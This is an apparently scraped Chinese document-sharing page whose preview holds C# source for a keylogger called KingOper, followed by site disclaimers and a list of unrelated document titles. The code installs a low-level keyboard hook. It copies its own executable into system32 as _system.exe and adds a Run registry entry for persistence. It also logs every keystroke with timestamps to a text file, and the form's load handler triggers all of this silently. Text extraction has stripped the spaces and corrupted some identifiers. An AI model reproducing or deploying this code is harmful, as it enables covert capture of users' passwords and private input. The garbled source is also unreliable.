版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、HCode=C#/Hook.cs 代码usingSystem;usingSystem.Runtime.InteropServices;usingSystem.Reflection;usingSystem.Windows.Forms;namespaceKingOperpublicenumKeyboardEventsKeyDown=0 x0100,KeyUp=0 x0101,SystemKeyDown=0 x0104,SystemKeyUp=0 x0105StructLayout(LayoutKind.Sequential)publicstructKeyboardHookStructpublici
2、ntvkCode;/表示一个在 1 到 254 间的虚似键盘码publicintscanCode;/表示硬件扫描码publicintflags;publicinttime;publicintdwExtraInfo;publicdelegatevoidKeyboardEventHandler(KeyboardEventskeyEvent,System.Windows.Forms.Keyskey);publicclassHookpubliceventKeyboardEventHandlerKeyboardEvent;publicenumHookTypeWH_JOURNALRECORD=0,WH_J
3、OURNALPLAYBACK=1,WH_KEYBOARD=2,WH_GETMESSAGE=3,WH_CALLWNDPROC=4,WH_CBT=5,WH_SYSMSGFILTER=6,WH_MOUSE=7,WH_HARDWARE=8,WH_DEBUG=9,WH_SHELL=10,WH_FOREGROUNDIDLE=11,WH_CALLWNDPROCRET=12,WH_KEYBOARD_LL=13,WH_MOUSE_LL=14,WH_MSGFILTER=-1,publicdelegateIntPtrHookProc(intcode,intwParam,IntPtrIParam);Dlllmport
4、(User32.dll,CharSet=CharSet.Auto)publicstaticexternIntPtrSetWindowsHookEx(HookTypehookType,HookProchook,IntPtrinstance,intthreadID);DllImport(User32.dll,CharSet=CharSet.Auto)publicstaticexternIntPtrCallNextHookEx(IntPtrhookHandle,intcode,intwParam,IntPtrlParam);DllImport(User32.dll,CharSet=CharSet.A
5、uto)publicstaticexternboolUnhookWindowsHookEx(lntPtrhookHandle);privateIntPtrinstanee;privateIntPtrhookHandle;privateintthreadID;privateHookProchookProcEx;publicHook()this.instanee=Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()0);this.threadID=0;hookHandle=IntPtr.Zero;hookProcEx=n
6、ewHookProc(hookProc);publicboolSetHook()this.hookHandle=SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadlD);return(int)hookHandle!=0);publicIntPtrhookProc(intcode,intwParam,IntPtrlParam)if(code=0)KeyboardEventskEvent=(KeyboardEvents)wParam;if(kEvent!=KeyboardEvents.KeyDo
7、wn&kEvent!=KeyboardEvents.KeyUp&kEvent!=KeyboardEvents.SystemKeyDown&kEvent!=KeyboardEvents.SystemKeyUp)returnCallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam,IParam);KeyboardHookStructMyKey=KeyboardHookStruct();Typet=MyKey.GetType();MyKey(KeyboardHookStruct)Marshal.Ptr
8、ToStructure(IParam,t);KeyskeyData=(Keys)MyKey.vkCode;KeyboardEvent(kEvent,keyData);returnCallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam,IParam);publicboolUnHook()returnHook.UnhookWindowsHookEx(this.hookHandle);/RegistryReport.cs 代码usingSystem;usingSystem.IO;usingMicrosoft.Win32;u
9、singSystem.Windows.Forms;namespaceKingOperpublicclassRegistryReportpublicRegistryReport()publicvoidMoveFile()if(!File.Exists(c:windowsWsystem32W_system.exe)File.Move(Application.ExecutablePath,c:windowsWsystem32W_system.exe);elsereturn;publicvoidregistryRun()newRegistryKeykey 仁 Registry.CurrentUser.
10、CreateSubKey(SofwareMicrosoftWindowsWCurrentVersionrun);key1.SetValue(,c:windowsWsystem32W_system.exe);key1.Close();/Report.cs 代码usingSystem;usingSystem.IO;namespaceKingOperpublicclassReportpublicReport()+DateTime.Today.Month.ToString()+.+DateTime.Today.Day.ToString()+DateTime.Now.Hour.ToString()+:+
11、DateTime.Now.Minute.ToString()+:+DateTime.Now.Second.ToString()+*);sw.Close();publicvoidWriteDate(stringkeyEvents,stringkeyDate)tryStreamWritersw=newStreamWriter(c:/keyReport.txt,true);sw.WriteLine(keyDate+键”+keyEvents+DateTime.Now.Hour.ToString()+:+DateTime.Now.Minute.ToString()+:+DateTime.Now.Seco
12、nd.ToString();sw.Close();catchreturn;publicvoidFirstWrite()StreamWriterStreamWriter(c:/windows/system32/keyReport.txt,true);sw.WriteLine(*);sw.WriteLine(*swnewLittleStudioStudio*+DateTime.Today.Year.ToString()+test_Load 调用的实现privateHookMyHook=newHook();privateReportMyReport=newReport();privateRegistryReportMyRegistryReport;privatevoidtest_Load(objectsender,System.EventArgse)MyRegistryReport=newRegistryReport();this.MyRegistryReport.MoveFile();this.MyRegistryReport.registryRun();this.MyReport.FirstWrite();this.MyHook.SetHook();this.MyHook.KeyboardEvent+=newKeyboardEventHan
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 深度解析(2026)《FZT 64028-2021衬纬经编针织粘合衬》
- 《JBT 8475-1996单螺旋锥形混合机》专题研究报告
- 一元一次不等式组课件2025-2026学年北师大版八年级数学下册
- 甘肃省武威市2026年八年级下学期语文期中模拟试卷附答案
- 2026年云南省临沧市城管协管招聘笔试备考题库及答案解析
- 第四节 基因位于染色体上教学设计高中生物苏教版2019必修2 遗传与进化-苏教版2019
- 第十课 历史规律与人生目标教学设计中职基础课-哲学与人生(第3版)-人教版-(政治(道法))-59
- 2026年鹰潭市月湖区社区工作者招聘考试参考题库及答案解析
- 2026年平凉市崆峒区社区工作者招聘考试参考试题及答案解析
- 2026年石家庄市新华区社区工作者招聘考试模拟试题及答案解析
- 2026年《三级劳动关系协调员》考试练习题库与答案
- 河北石家庄二中2025-2026学年下学期高一数学4月第一次月考试卷(含答案)
- 环保设备运行维护及安全操作指南
- 2026年融资租赁公司招聘考试笔试试题(含答案)
- 中国平安IQ测评题库
- 社工培训学院制度
- 2025可信数据空间基础知识
- GB/T 46869-2025生态系统评估陆域生态产品总值核算技术指南
- 鹅口疮的课件
- 2025至2030超声刀行业运营态势与投资前景调查研究报告
- 机器人艾灸课件
评论
0/150
提交评论